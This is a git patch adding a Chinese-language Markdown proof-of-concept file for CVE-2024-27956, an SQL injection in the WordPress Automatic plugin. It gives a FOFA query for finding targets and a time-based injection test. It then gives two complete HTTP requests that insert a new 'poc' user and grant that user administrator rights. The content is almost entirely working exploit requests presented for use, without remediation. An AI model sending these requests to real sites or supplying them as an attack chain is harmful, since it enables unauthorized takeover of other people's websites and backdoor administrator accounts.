From 6bcb5b790006ad9c995305fc68b1b63dacf3bb91 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Wed, 1 May 2024 13:28:27 +0800
Subject: [PATCH] =?UTF-8?q?Create=20WordPress-Automatic=E6=8F=92=E4=BB=B6?=
 =?UTF-8?q?=E5=AD=98=E5=9C=A8SQL=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E(CVE-2?=
 =?UTF-8?q?024-27956).md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...atic插件存在SQL注入漏洞(CVE-2024-27956).md | 51 +++++++++++++++++++
 1 file changed, 51 insertions(+)
 create mode 100644 WordPress-Automatic插件存在SQL注入漏洞(CVE-2024-27956).md

diff --git a/WordPress-Automatic插件存在SQL注入漏洞(CVE-2024-27956).md b/WordPress-Automatic插件存在SQL注入漏洞(CVE-2024-27956).md
new file mode 100644
index 0000000..73c662d
--- /dev/null
+++ b/WordPress-Automatic插件存在SQL注入漏洞(CVE-2024-27956).md
@@ -0,0 +1,51 @@
+## WordPress-Automatic插件存在SQL注入漏洞(CVE-2024-27956)
+
+## fofa
+```
+body="/wp-content/plugins/wp-automatic"
+```
+
+## poc
+```
+POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+Accept: */*
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+
+q=SELECT+IF(1=1,sleep(5),sleep(0))&auth=%00&integ=93cf9aa11e746596d6f31765a7222c9f
+```
+
+## 创建WordPress账户
+```
+POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+Accept: */*
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+
+q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28
+```
+
+## 赋予管理员权限
+```
+POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+Accept: */*
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+
+q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c
+```
+
+## 来源
+- https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin?_s_id=cve